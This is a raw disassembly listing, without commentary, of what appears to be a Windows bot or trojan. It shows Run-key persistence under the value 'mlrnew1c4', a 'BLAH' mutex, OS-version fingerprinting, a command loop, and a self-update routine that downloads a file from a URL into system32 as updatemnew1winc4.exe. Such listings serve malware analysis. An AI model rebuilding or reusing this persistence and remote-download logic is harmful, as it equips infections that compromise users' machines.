call sub_40D970
pop ecx
inc eax
push eax
lea eax, [ebp-434h]
push eax
push 1
push esi
push offset aMlrnew1c4 ; "mlrnew1c4"
push dword ptr [ebp-14h]
call dword_41C014 ; RegSetValueExA
push dword ptr [ebp-14h]
call dword_41C000 ; RegCloseKey
loc_40484E: ; CODE XREF: sub_4047AC+70j
lea eax, [ebp-18h]
push eax
lea eax, [ebp-14h]
push eax
push esi
push 20006h
push esi
push esi
push esi
push ebx
push 80000001h
call edi ; RegCreateKeyExA
test eax, eax
jnz short loc_40489B
lea eax, [ebp-434h]
push eax
call sub_40D970
pop ecx
inc eax
push eax
lea eax, [ebp-434h]
push eax
push 1
push esi
push offset aMlrnew1c4 ; "mlrnew1c4"
push dword ptr [ebp-14h]
call dword_41C014 ; RegSetValueExA
push dword ptr [ebp-14h]
call dword_41C000 ; RegCloseKey
loc_40489B: ; CODE XREF: sub_4047AC+BDj
lea eax, [ebp-834h]
push eax
lea eax, [ebp-434h]
push eax
call sub_41A376
test eax, eax
pop ecx
pop ecx
jz short loc_4048D8
lea eax, [ebp-434h]
push eax
lea ecx, [ebp-34h]
call sub_401C44
lea ebx, [ebp-34h]
mov [ebp-4], esi
call sub_40460B
push esi
push 1
mov ecx, ebx
call sub_4013C4
loc_4048D8: ; CODE XREF: sub_4047AC+106j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_4047AC endp
; =============== S U B R O U T I N E =======================================
sub_4048E7 proc near ; CODE XREF: sub_40376E+35p
mov eax, offset SEH_4033DA
call sub_41AE44
sub esp, 24h
push ebx
push esi
mov esi, dword_41C00C
push edi
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
xor eax, eax
push eax
mov edi, 20006h
push edi
push eax
push eax
push eax
mov ebx, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push ebx
push 80000001h
call esi ; RegCreateKeyExA
test eax, eax
jnz short loc_404939
push offset aMlrnew1c4 ; "mlrnew1c4"
push dword ptr [ebp-10h]
call dword_41C004 ; RegDeleteValueA
push dword ptr [ebp-10h]
call dword_41C000 ; RegCloseKey
loc_404939: ; CODE XREF: sub_4048E7+39j
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
xor eax, eax
push eax
push edi
push eax
push eax
push eax
push ebx
push 80000002h
call esi ; RegCreateKeyExA
test eax, eax
jnz short loc_40496B
push offset aMlrnew1c4 ; "mlrnew1c4"
push dword ptr [ebp-10h]
call dword_41C004 ; RegDeleteValueA
push dword ptr [ebp-10h]
call dword_41C000 ; RegCloseKey
loc_40496B: ; CODE XREF: sub_4048E7+6Bj
push offset asc_41E668 ; "-X"
lea ecx, [ebp-30h]
call sub_401C44
and dword ptr [ebp-4], 0
lea ebx, [ebp-30h]
call sub_40460B
push 0
push 1
mov ecx, ebx
call sub_4013C4
mov ecx, [ebp-0Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4048E7 endp
; =============== S U B R O U T I N E =======================================
sub_40499E proc near ; CODE XREF: sub_40376E+67p
mov eax, offset sub_41B60D
call sub_41AE44
sub esp, 828h
push ebx
push esi
push edi
mov edi, ecx
cmp dword ptr [edi+18h], 10h
lea ebx, [edi+4]
jb short loc_4049C0
mov eax, [ebx]
jmp short loc_4049C2
; ---------------------------------------------------------------------------
loc_4049C0: ; CODE XREF: sub_40499E+1Cj
mov eax, ebx
loc_4049C2: ; CODE XREF: sub_40499E+20j
push eax
push offset aPerformingUpda ; "Performing update from URL: %s\n"
call sub_4024A7
push eax
push 4
pop ecx
call sub_40195C
add esp, 0Ch
mov esi, 400h
push esi
lea eax, [ebp-434h]
push eax
call dword_41C08C ; GetWindowsDirectoryA
lea eax, [ebp-434h]
push offset aSystem32Update ; "\\system32\\updatemnew1winc4.exe"
push eax
call sub_40FE50
lea eax, [ebp-434h]
push offset aWb ; "wb"
push eax
call sub_40FA66
xor ecx, ecx
add esp, 10h
cmp eax, ecx
mov [ebp-14h], eax
jnz short loc_404A4E
call sub_40F79E
mov esi, eax
call sub_40F79E
push dword ptr [esi]
mov edi, eax
call sub_40F6FC
pop ecx
push eax
push dword ptr [edi]
push offset aFopenDS ; "fopen: (%d) %s\n"
call sub_4024A7
push eax
push 2
pop ecx
call sub_40195C
add esp, 10h
jmp loc_404B1C
; ---------------------------------------------------------------------------
loc_404A4E: ; CODE XREF: sub_40499E+7Aj
cmp dword ptr [edi+18h], 10h
jb short loc_404A56
mov ebx, [ebx]
loc_404A56: ; CODE XREF: sub_40499E+B4j
push ecx
push 84080300h
push ecx
push ecx
push ebx
push dword_424E80
call dword_41C1BC ; InternetOpenUrlA
test eax, eax
mov [ebp-18h], eax
jnz short loc_404A94
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
push offset aInternetopenur ; "InternetOpenUrl: %$\n"
call sub_4024A7
push eax
push 3
pop ecx
call sub_40195C
add esp, 0Ch
jmp loc_404B1C
; ---------------------------------------------------------------------------
loc_404A94: ; CODE XREF: sub_40499E+D2j
mov ebx, dword_41C1C4
lea ecx, [ebp-10h]
push ecx
push esi
lea ecx, [ebp-834h]
push ecx
push eax
mov [ebp-10h], esi
call ebx ; InternetReadFile
xor edi, edi
inc edi
jmp short loc_404AE1
; ---------------------------------------------------------------------------
loc_404AB1: ; CODE XREF: sub_40499E+145j
cmp dword ptr [ebp-10h], 0
jbe short loc_404AE5
push dword ptr [ebp-14h]
lea eax, [ebp-834h]
push dword ptr [ebp-10h]
push edi
push eax
call sub_40FC7C
add esp, 10h
lea eax, [ebp-10h]
push eax
push esi
lea eax, [ebp-834h]
push eax
push dword ptr [ebp-18h]
mov [ebp-10h], esi
call ebx ; InternetReadFile
loc_404AE1: ; CODE XREF: sub_40499E+111j
cmp eax, edi
jz short loc_404AB1
loc_404AE5: ; CODE XREF: sub_40499E+117j
push dword ptr [ebp-18h]
call dword_41C1D0 ; InternetCloseHandle
push dword ptr [ebp-14h]
call sub_40FD7C
pop ecx
lea eax, [ebp-434h]
push eax
lea ecx, [ebp-34h]
call sub_401C44
and dword ptr [ebp-4], 0
lea ebx, [ebp-34h]
call sub_40460B
push 0
push edi
mov ecx, ebx
call sub_4013C4
loc_404B1C: ; CODE XREF: sub_40499E+ABj
; sub_40499E+F1j
mov ecx, [ebp-0Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40499E endp
; =============== S U B R O U T I N E =======================================
sub_404B2B proc near ; CODE XREF: sub_405089+DDp
push ebp
sub esp, 20h
mov eax, offset sub_41B00F
call sub_41AE44
sub esp, 310h
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp+4], ebx
push ebx
lea ecx, [ebp+8]
mov dword ptr [ebp+20h], 0Fh
call sub_401564
push 24h
lea eax, [ebp-0CCh]
push ebx
push eax
mov [ebp-4], ebx
call sub_40DD10
mov esi, 9Ch
push esi
lea eax, [ebp-0A8h]
push ebx
push eax
call sub_40DD10
add esp, 18h
lea eax, [ebp-0A8h]
mov [ebp-0A8h], esi
mov esi, dword_41C0D0
push eax
call esi ; GetVersionExA
mov edi, eax
cmp edi, ebx
jnz short loc_404BC3
lea eax, [ebp-0A8h]
push eax
mov dword ptr [ebp-0A8h], 94h
call esi ; GetVersionExA
test eax, eax
jnz short loc_404BC3
mov ecx, [ebp+2Ch]
push offset aUnknown ; "UNKNOWN"
call sub_401C44
jmp loc_405067
; ---------------------------------------------------------------------------
loc_404BC3: ; CODE XREF: sub_404B2B+6Dj
; sub_404B2B+84j
push offset aGetnativesyste ; "GetNativeSystemInfo"
push offset aKernel32_dll ; "kernel32.dll"
call dword_41C0C4 ; GetModuleHandleA
push eax
call dword_41C0AC ; GetProcAddress
cmp eax, ebx
jz short loc_404BE9
lea ecx, [ebp-0CCh]
push ecx
call eax ; sub_41B00F
jmp short loc_404BF6
; ---------------------------------------------------------------------------
loc_404BE9: ; CODE XREF: sub_404B2B+B1j
lea eax, [ebp-0CCh]
push eax
call dword_41C0BC ; GetSystemInfo
loc_404BF6: ; CODE XREF: sub_404B2B+BCj
mov eax, [ebp-98h]
sub eax, ebx
jz loc_40504D
dec eax
jz loc_404FD5
dec eax
jnz loc_40505B
cmp dword ptr [ebp-0A4h], 6
jnz short loc_404C3E
cmp [ebp-0A0h], ebx
jnz loc_404CB7
cmp byte ptr [ebp-0Eh], 1
lea eax, [ebp+8]
jnz short loc_404C37
push offset aWindowsVista ; "Windows Vista "
jmp short loc_404CB1
; ---------------------------------------------------------------------------
loc_404C37: ; CODE XREF: sub_404B2B+103j
push offset aWindowsServerL ; "Windows Server \"Longhorn\" "
jmp short loc_404CB1
; ---------------------------------------------------------------------------
loc_404C3E: ; CODE XREF: sub_404B2B+EEj
cmp dword ptr [ebp-0A4h], 5
jnz short loc_404CA0
cmp dword ptr [ebp-0A0h], 2
jnz short loc_404C81
push 59h
call dword_41C1B0 ; GetSystemMetrics
test eax, eax
jz short loc_404C63
push offset aMicrosoftWindo ; "Microsoft Windows Server 2003 \"R2\" "
jmp short loc_404CAE
; ---------------------------------------------------------------------------
loc_404C63: ; CODE XREF: sub_404B2B+12Fj
cmp byte ptr [ebp-0Eh], 1
jnz short loc_404C7A
cmp word ptr [ebp-0CCh], 9
jnz short loc_404C7A
push offset aMicrosoftWin_0 ; "Microsoft Windows XP Professional x64 E"...
jmp short loc_404CAE
; ---------------------------------------------------------------------------
loc_404C7A: ; CODE XREF: sub_404B2B+13Cj
; sub_404B2B+146j
push offset aMicrosoftWin_1 ; "Microsoft Windows Server 2003, "
jmp short loc_404CAE
; ---------------------------------------------------------------------------
loc_404C81: ; CODE XREF: sub_404B2B+123j
cmp dword ptr [ebp-0A0h], 1
jnz short loc_404C91
push offset aMicrosoftWin_2 ; "Microsoft Windows XP "
jmp short loc_404CAE
; ---------------------------------------------------------------------------
loc_404C91: ; CODE XREF: sub_404B2B+15Dj
cmp [ebp-0A0h], ebx
jnz short loc_404CB7
push offset aMicrosoftWin_3 ; "Microsoft Windows 2000 "
jmp short loc_404CAE
; ---------------------------------------------------------------------------
loc_404CA0: ; CODE XREF: sub_404B2B+11Aj
cmp dword ptr [ebp-0A4h], 4
ja short loc_404CB7
push offset aMicrosoftWin_4 ; "Microsoft Windows NT "
loc_404CAE: ; CODE XREF: sub_404B2B+136j
; sub_404B2B+14Dj ...
lea eax, [ebp+8]
loc_404CB1: ; CODE XREF: sub_404B2B+10Aj
; sub_404B2B+111j
push eax
call sub_401C66
loc_404CB7: ; CODE XREF: sub_404B2B+F6j
; sub_404B2B+16Cj ...
test edi, edi
mov ebx, dword_41C008
mov esi, 200h
jz loc_404E14
cmp byte ptr [ebp-0Eh], 1
jnz short loc_404D0E
cmp word ptr [ebp-0CCh], 9
jz loc_404F09
cmp dword ptr [ebp-0A4h], 4
lea eax, [ebp+8]
jnz short loc_404CF4
push offset aWorkstation4_0 ; "Workstation 4.0 "
jmp loc_404E09
; ---------------------------------------------------------------------------
loc_404CF4: ; CODE XREF: sub_404B2B+1BDj
test [ebp-10h], si
jz short loc_404D04
push offset aHomeEdition ; "Home Edition "
jmp loc_404E09
; ---------------------------------------------------------------------------
loc_404D04: ; CODE XREF: sub_404B2B+1CDj
push offset aProfessional ; "Professional "
jmp loc_404E09
; ---------------------------------------------------------------------------
loc_404D0E: ; CODE XREF: sub_404B2B+1A3j
cmp byte ptr [ebp-0Eh], 3
jz short loc_404D1E
cmp byte ptr [ebp-0Eh], 2
jnz loc_404F09
loc_404D1E: ; CODE XREF: sub_404B2B+1E7j
cmp dword ptr [ebp-0A4h], 5
jnz loc_404DF4
cmp dword ptr [ebp-0A0h], 2
jnz loc_404DC7
cmp word ptr [ebp-0CCh], 6
jnz short loc_404D60
test byte ptr [ebp-10h], 80h
jz short loc_404D4F
push offset aDatacenterEdit ; "Datacenter Edition for Itanium-based Sy"...
jmp short loc_404D9C
; ---------------------------------------------------------------------------
loc_404D4F: ; CODE XREF: sub_404B2B+21Bj
test byte ptr [ebp-10h], 2
jz loc_404F9A
push offset aEnterpriseEdit ; "Enterprise Edition for Itanium-based Sy"...
jmp short loc_404D9C
; ---------------------------------------------------------------------------
loc_404D60: ; CODE XREF: sub_404B2B+215j
cmp word ptr [ebp-0CCh], 9
jnz short loc_404D91
test byte ptr [ebp-10h], 80h
lea eax, [ebp+8]
jz short loc_404D7D
push offset aDatacenterX64E ; "Datacenter x64 Edition "
jmp loc_404E09
; ---------------------------------------------------------------------------
loc_404D7D: ; CODE XREF: sub_404B2B+246j
test byte ptr [ebp-10h], 2
jz short loc_404D8A
push offset aEnterpriseX64E ; "Enterprise x64 Edition "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404D8A: ; CODE XREF: sub_404B2B+256j
push offset aStandardX64Edi ; "Standard x64 Edition "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404D91: ; CODE XREF: sub_404B2B+23Dj
test byte ptr [ebp-10h], 80h
jz short loc_404DA1
push offset aDatacenterEd_0 ; "Datacenter Edition "
loc_404D9C: ; CODE XREF: sub_404B2B+222j
; sub_404B2B+233j
lea eax, [ebp+8]
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404DA1: ; CODE XREF: sub_404B2B+26Aj
test byte ptr [ebp-10h], 2
lea eax, [ebp+8]
jz short loc_404DB1
push offset aEnterpriseEd_0 ; "Enterprise Edition "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404DB1: ; CODE XREF: sub_404B2B+27Dj
test word ptr [ebp-10h], 400h
jz short loc_404DC0
push offset aWebEdition ; "Web Edition "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404DC0: ; CODE XREF: sub_404B2B+28Cj
push offset aStandardEditio ; "Standard Edition "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404DC7: ; CODE XREF: sub_404B2B+207j
cmp dword ptr [ebp-0A0h], 0
jnz short loc_404DF4
test byte ptr [ebp-10h], 80h
lea eax, [ebp+8]
jz short loc_404DE0
push offset aDatacenterServ ; "Datacenter Server "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404DE0: ; CODE XREF: sub_404B2B+2ACj
test byte ptr [ebp-10h], 2
jz short loc_404DED
push offset aAdvancedServer ; "Advanced Server "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404DED: ; CODE XREF: sub_404B2B+2B9j
push offset aServer ; "Server "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404DF4: ; CODE XREF: sub_404B2B+1FAj
; sub_404B2B+2A3j
test byte ptr [ebp-10h], 2
lea eax, [ebp+8]
jz short loc_404E04
push offset aServer4_0Enter ; "Server 4.0, Enterprise Edition "
jmp short loc_404E09
; ---------------------------------------------------------------------------
loc_404E04: ; CODE XREF: sub_404B2B+2D0j
push offset aServer4_0 ; "Server 4.0 "
loc_404E09: ; CODE XREF: sub_404B2B+1C4j
; sub_404B2B+1D4j ...
push eax
call sub_401C66
jmp loc_404F09
; ---------------------------------------------------------------------------
loc_404E14: ; CODE XREF: sub_404B2B+199j
lea eax, [ebp+0]
push eax
push 1
push 0
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Produc"...
push 80000002h
call ebx ; RegOpenKeyExA
test eax, eax
jz short loc_404E40
loc_404E2C: ; CODE XREF: sub_404B2B+345j
; sub_404B2B+34Aj
mov ecx, [ebp+2Ch]
push offset aUnknown ; "UNKNOWN"
call sub_401C44
push 0
jmp loc_405068
; ---------------------------------------------------------------------------
loc_404E40: ; CODE XREF: sub_404B2B+2FFj
push 50h
pop esi
lea eax, [ebp+4]
push eax
lea eax, [ebp-11Ch]
push eax
push 0
push 0
push offset aProducttype ; "ProductType"
push dword ptr [ebp+0]
mov [ebp+4], esi
call dword_41C010 ; RegQueryValueExA
push dword ptr [ebp+0]
mov edi, eax
call dword_41C000 ; RegCloseKey
test edi, edi
jnz short loc_404E2C
cmp [ebp+4], esi
ja short loc_404E2C
mov esi, dword_41C0A8
lea eax, [ebp-11Ch]
push eax
push offset aWinnt ; "WINNT"
call esi ; lstrcmpiA
test eax, eax
jnz short loc_404E96
push offset aWorkstation ; "Workstation "
jmp short loc_404EC6
; ---------------------------------------------------------------------------
loc_404E96: ; CODE XREF: sub_404B2B+362j
lea eax, [ebp-11Ch]
push eax
push offset aLanmannt ; "LANMANNT"
call esi ; lstrcmpiA
test eax, eax
jnz short loc_404EAF
push offset aServer ; "Server "
jmp short loc_404EC6
; ---------------------------------------------------------------------------
loc_404EAF: ; CODE XREF: sub_404B2B+37Bj
lea eax, [ebp-11Ch]
push eax
push offset aServernt ; "SERVERNT"
call esi ; lstrcmpiA
test eax, eax
jnz short loc_404ECF
push offset aAdvancedServer ; "Advanced Server "
loc_404EC6: ; CODE XREF: sub_404B2B+369j
; sub_404B2B+382j
lea eax, [ebp+8]
push eax
call sub_401C66
loc_404ECF: ; CODE XREF: sub_404B2B+394j
push dword ptr [ebp-0A0h]
lea eax, [ebp-31Ch]
push dword ptr [ebp-0A4h]
push offset aD_D ; "%d.%d "
push 200h
push eax
call sub_40D9FB
add esp, 14h
lea eax, [ebp-31Ch]
push eax
lea eax, [ebp+8]
push eax
call sub_401C66
mov esi, 200h
loc_404F09: ; CODE XREF: sub_404B2B+1ADj
; sub_404B2B+1EDj ...
cmp dword ptr [ebp-0A4h], 4
jnz loc_404F9A
push offset aServicePack6 ; "Service Pack 6"
lea eax, [ebp-94h]
push eax
call dword_41C0A8 ; lstrcmpiA
test eax, eax
jnz short loc_404F9A
lea eax, [ebp+4]
push eax
push 1
push 0
push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call ebx ; RegOpenKeyExA
test eax, eax
movzx eax, word ptr [ebp-9Ch]
push eax
jnz short loc_404F63
push offset aServicePack6aB ; "Service Pack 6a (Build %d)"
lea eax, [ebp-31Ch]
push esi
push eax
call sub_40D9FB
add esp, 10h
jmp short loc_404F7F
; ---------------------------------------------------------------------------
loc_404F63: ; CODE XREF: sub_404B2B+41Fj
lea eax, [ebp-94h]
push eax
push offset aSBuildD ; "%s (Build %d)"
lea eax, [ebp-31Ch]
push esi
push eax
call sub_40D9FB
add esp, 14h
loc_404F7F: ; CODE XREF: sub_404B2B+436j
lea eax, [ebp-31Ch]
push eax
lea eax, [ebp+8]
push eax
call sub_401C66
push dword ptr [ebp+4]
call dword_41C000 ; RegCloseKey
jmp short loc_404FCE
; ---------------------------------------------------------------------------
loc_404F9A: ; CODE XREF: sub_404B2B+228j
; sub_404B2B+3E5j ...
movzx eax, word ptr [ebp-9Ch]
push eax
lea eax, [ebp-94h]
push eax
push offset aSBuildD ; "%s (Build %d)"
lea eax, [ebp-31Ch]
push esi
push eax
call sub_40D9FB
add esp, 14h
lea eax, [ebp-31Ch]
push eax
lea eax, [ebp+8]
push eax
call sub_401C66
loc_404FCE: ; CODE XREF: sub_404B2B+46Dj
xor ebx, ebx
jmp loc_40505B
; ---------------------------------------------------------------------------
loc_404FD5: ; CODE XREF: sub_404B2B+DAj
cmp dword ptr [ebp-0A4h], 4
jnz short loc_40505B
cmp [ebp-0A0h], ebx
jnz short loc_40500D
push offset aMicrosoftWin_5 ; "Microsoft Windows 95 "
lea eax, [ebp+8]
push eax
call sub_401C66
cmp byte ptr [ebp-93h], 43h
jz short loc_405006
cmp byte ptr [ebp-93h], 42h
jnz short loc_40505B
loc_405006: ; CODE XREF: sub_404B2B+4D0j
push offset aOsr2 ; "OSR2 "
jmp short loc_405052
; ---------------------------------------------------------------------------
loc_40500D: ; CODE XREF: sub_404B2B+4B9j
cmp dword ptr [ebp-0A0h], 0Ah
jnz short loc_40503D
push offset aMicrosoftWin_6 ; "Microsoft Windows 98 "
lea eax, [ebp+8]
push eax
call sub_401C66
cmp byte ptr [ebp-93h], 41h
jz short loc_405036
cmp byte ptr [ebp-93h], 42h
jnz short loc_40505B
loc_405036: ; CODE XREF: sub_404B2B+500j
push offset aSe ; "SE "
jmp short loc_405052
; ---------------------------------------------------------------------------
loc_40503D: ; CODE XREF: sub_404B2B+4E9j
cmp dword ptr [ebp-0A0h], 5Ah
jnz short loc_40505B
push offset aMicrosoftWin_7 ; "Microsoft Windows Millennium Edition"
jmp short loc_405052
; ---------------------------------------------------------------------------
loc_40504D: ; CODE XREF: sub_404B2B+D3j
push offset aMicrosoftWin32 ; "Microsoft Win32s"
loc_405052: ; CODE XREF: sub_404B2B+4E0j
; sub_404B2B+510j ...
lea eax, [ebp+8]
push eax
call sub_401C66
loc_40505B: ; CODE XREF: sub_404B2B+E1j
; sub_404B2B+4A5j ...
mov ecx, [ebp+2Ch]
lea eax, [ebp+8]
push eax
call sub_401C1E
loc_405067: ; CODE XREF: sub_404B2B+93j
push ebx
loc_405068: ; CODE XREF: sub_404B2B+310j
push 1
lea ecx, [ebp+8]
call sub_4013C4
mov ecx, [ebp-0Ch]
mov eax, [ebp+2Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add ebp, 24h
leave
retn 4
sub_404B2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_405089 proc near ; CODE XREF: sub_402E1F+28p
mov eax, offset loc_41B65B
call sub_41AE44
sub esp, 74h
push ebx
push esi
push edi
mov [ebp-10h], esp
xor esi, esi
push esi
lea ecx, [ebp-60h]
mov dword ptr [ebp-48h], 0Fh
call sub_401564
push offset aBlah ; "BLAH"
push 1
push esi
mov [ebp-4], esi
call dword_41C0C8 ; CreateMutexA
cmp eax, esi
jz short loc_4050D0
call dword_41C0A4 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_4050D7
loc_4050D0: ; CODE XREF: sub_405089+38j
push esi
call dword_41C100 ; ExitProcess
loc_4050D7: ; CODE XREF: sub_405089+45j
call sub_4047AC
loc_4050DC: ; CODE XREF: .vty:loc_4053EBj
mov edi, [ebp+8]
lea ebx, [edi+0D0h]
mov ecx, ebx
mov byte ptr [ebp-4], 1
mov [ebp-14h], ebx
call sub_40B642
call sub_40399B
mov esi, eax
mov eax, edi
call sub_403A28
or esi, eax
call sub_403B47
or esi, eax
call sub_401156
cmp dword ptr [eax+18h], 10h
jb short loc_40511A
mov eax, [eax+4]
jmp short loc_40511D
; ---------------------------------------------------------------------------
loc_40511A: ; CODE XREF: sub_405089+8Aj
add eax, 4
loc_40511D: ; CODE XREF: sub_405089+8Fj
push 10h
push eax
xor edi, edi
lea eax, [ebp-74h]
inc edi
push eax
mov [ebp-24h], edi
mov dword ptr [ebp-20h], 24h
mov dword ptr [ebp-7Ch], 1190006h
mov dword ptr [ebp-78h], 204h
call sub_410050
add esp, 0Ch
push 0
push 7
push 5
push 4
lea eax, [ebp-7Ch]
push eax
mov [ebp-64h], esi
push ebx
lea esi, [ebp-24h]
call sub_40BA6E
add esp, 18h
lea eax, [ebp-7Ch]
push eax
call sub_404B2B
mov byte ptr [ebp-4], 2
cmp dword ptr [eax+18h], 10h
jb short loc_40517A
mov esi, [eax+4]
jmp short loc_40517D
; ---------------------------------------------------------------------------
loc_40517A: ; CODE XREF: sub_405089+EAj
lea esi, [eax+4]
loc_40517D: ; CODE XREF: sub_405089+EFj
call sub_4024A7
push esi
push offset aRunningOnS ; "Running on %s\n"
push eax
push 4
pop ecx
call sub_40195C
add esp, 0Ch
push 0
push edi
lea ecx, [ebp-7Ch]
mov byte ptr [ebp-4], 1
call sub_4013C4
loc_4051A3: ; CODE XREF: sub_405089+243j
mov eax, [ebp+8]
mov eax, [eax+78h]
test eax, eax
jnz short loc_4051B2
push 2
pop esi
jmp short loc_4051B5
; ---------------------------------------------------------------------------
loc_4051B2: ; CODE XREF: sub_405089+122j
mov esi, [eax+14h]
loc_4051B5: ; CODE XREF: sub_405089+127j
call sub_4024A7
push esi
lea ecx, [ebp-7Ch]
push ecx
mov ebx, eax
call sub_401B38
push 0FFFFFFFFh
xor ebx, ebx
push ebx
push eax
lea ecx, [ebp-60h]
mov byte ptr [ebp-4], 3
call sub_401315
push ebx
push 1
lea ecx, [ebp-7Ch]
mov byte ptr [ebp-4], 1
call sub_4013C4
mov eax, [ebp-4Ch]
cmp eax, ebx
jz short loc_405217
add eax, 8
cmp dword ptr [ebp-48h], 10h
mov [ebp-28h], eax
mov eax, [ebp-5Ch]
mov dword ptr [ebp-2Ch], 5
jnb short loc_405207
lea eax, [ebp-5Ch]
loc_405207: ; CODE XREF: sub_405089+179j
push ebx
push eax
push dword ptr [ebp-14h]
lea esi, [ebp-2Ch]
call sub_40BA6E
add esp, 0Ch
loc_405217: ; CODE XREF: sub_405089+163j
mov eax, [ebp+8]
cmp [eax+50h], ebx
jz short loc_405227
mov eax, [eax+78h]
cmp [eax+18h], bl
jz short loc_405247
loc_405227: ; CODE XREF: sub_405089+194j
push 8
pop eax
push ebx
push 7
push eax
push ebx
push dword ptr [ebp-14h]
lea esi, [ebp-34h]
mov dword ptr [ebp-34h], 6
mov [ebp-30h], eax
call sub_40BA6E
add esp, 14h
loc_405247: ; CODE XREF: sub_405089+19Cj
push 3
pop edi
push ebx
push 7
push 6
push edi
push 4
push ebx
push dword ptr [ebp-14h]
lea esi, [ebp-3Ch]
mov [ebp-3Ch], edi
mov dword ptr [ebp-38h], 8
call sub_40BA6E
add esp, 1Ch
cmp eax, edi
jnz short loc_405291
loc_40526F: ; CODE XREF: sub_405089+206j
mov esi, [ebp+8]
push 0EA60h
push dword ptr [esi+0D8h]
call dword_41C084 ; WaitForSingleObject
test eax, eax
jz short loc_405294
push dword ptr [ebp-14h]
call sub_40B774
jmp short loc_40526F
; ---------------------------------------------------------------------------
loc_405291: ; CODE XREF: sub_405089+1E4j
mov esi, [ebp+8]
loc_405294: ; CODE XREF: sub_405089+1FCj
lea edi, [esi+0B8h]
push edi
call dword_41C070 ; RtlEnterCriticalSection
cmp [esi+0A0h], ebx
jz short loc_4052BD
add esi, 98h
push esi
push dword ptr [ebp-14h]
call sub_40B7A2
call sub_4055A2
loc_4052BD: ; CODE XREF: sub_405089+21Ej
push edi
call dword_41C06C ; RtlLeaveCriticalSection
push 32h
call dword_41C090 ; Sleep
jmp loc_4051A3
sub_405089 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-1Ch]
cmp dword ptr [eax+14h], 0
jz short loc_4052FF
cmp dword ptr [eax+18h], 10h
jb short loc_4052E5
mov eax, [eax+4]
jmp short loc_4052E8
; ---------------------------------------------------------------------------
loc_4052E5: ; CODE XREF: .vty:004052DEj
add eax, 4
loc_4052E8: ; CODE XREF: .vty:004052E3j
push eax
push offset aCommErrorS ; "Comm error: %s\n"
call sub_4024A7
push eax
push 2
pop ecx
call sub_40195C
add esp, 0Ch
loc_4052FF: ; CODE XREF: .vty:004052D8j
mov edi, [ebp+8]
mov ebx, dword_41C070
lea eax, [edi+108h]
push eax
call ebx ; RtlEnterCriticalSection
lea esi, [edi+0F0h]
jmp short loc_405330
; ---------------------------------------------------------------------------
loc_405319: ; CODE XREF: .vty:00405349j
push 0FFFFFFFFh
push dword ptr [edi+0D8h]
call dword_41C084 ; WaitForSingleObject
lea eax, [edi+108h]
push eax
call ebx ; RtlEnterCriticalSection
loc_405330: ; CODE XREF: .vty:00405317j
call sub_405D42
lea eax, [edi+108h]
push eax
call dword_41C06C ; RtlLeaveCriticalSection
cmp dword ptr [edi+0DCh], 0
jg short loc_405319
lea eax, [edi+0B8h]
push eax
mov [ebp-18h], eax
call ebx ; RtlEnterCriticalSection
mov ebx, [edi+78h]
test ebx, ebx
jz short loc_405379
lea esi, [ebx+2Ch]
call sub_405AAC
lea esi, [ebx+1Ch]
call sub_405AAC
push ebx
call sub_40DD8A
and dword ptr [edi+78h], 0
pop ecx
loc_405379: ; CODE XREF: .vty:0040535Cj
lea esi, [edi+7Ch]
mov ebx, [esi+8]
cmp [esi+4], ebx
jbe short loc_405389
call sub_40DCFC
loc_405389: ; CODE XREF: .vty:00405382j
mov eax, [esi+4]
cmp eax, [esi+8]
mov [ebp-14h], eax
jbe short loc_40539C
call sub_40DCFC
mov eax, [ebp-14h]
loc_40539C: ; CODE XREF: .vty:00405392j
push ebx
push esi
push eax
push esi
lea eax, [ebp-44h]
push eax
call sub_405B80
lea esi, [edi+8Ch]
call sub_4055A2
lea esi, [edi+98h]
call sub_4055A2
lea esi, [edi+0A4h]
call sub_4057CC
push dword ptr [ebp-18h]
and dword ptr [edi+0B4h], 0
call dword_41C06C ; RtlLeaveCriticalSection
push 493E0h
call dword_41C090 ; Sleep
mov eax, offset loc_4053EB
retn
; ---------------------------------------------------------------------------
loc_4053EB: ; DATA XREF: .vty:004053E5o
jmp loc_4050DC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053F0 proc near ; CODE XREF: sub_402F64+9Ep
; sub_402F64+AAp ...
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
mov esi, eax
push edi
lea eax, [ebp+var_18]
mov ecx, esi
call sub_405492
mov ecx, [eax]
mov eax, [eax+4]
mov [ebp+var_10], ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_20]
mov ecx, esi
call sub_405472
mov edi, [eax]
mov ebx, [eax+4]
lea eax, [ebp+var_8]
mov ecx, esi
call sub_405472
push dword ptr [eax+4]
push dword ptr [eax]
push ebx
push edi
call sub_405E8F
push ebx
push edi
push [ebp+var_C]
mov [ebp+var_4], eax
push [ebp+var_10]
call sub_405E8F
mov edi, [ebp+var_4]
add esp, 20h
push eax
push edi
mov ecx, esi
call sub_4014F5
cmp dword ptr [esi+18h], 10h
jb short loc_40545F
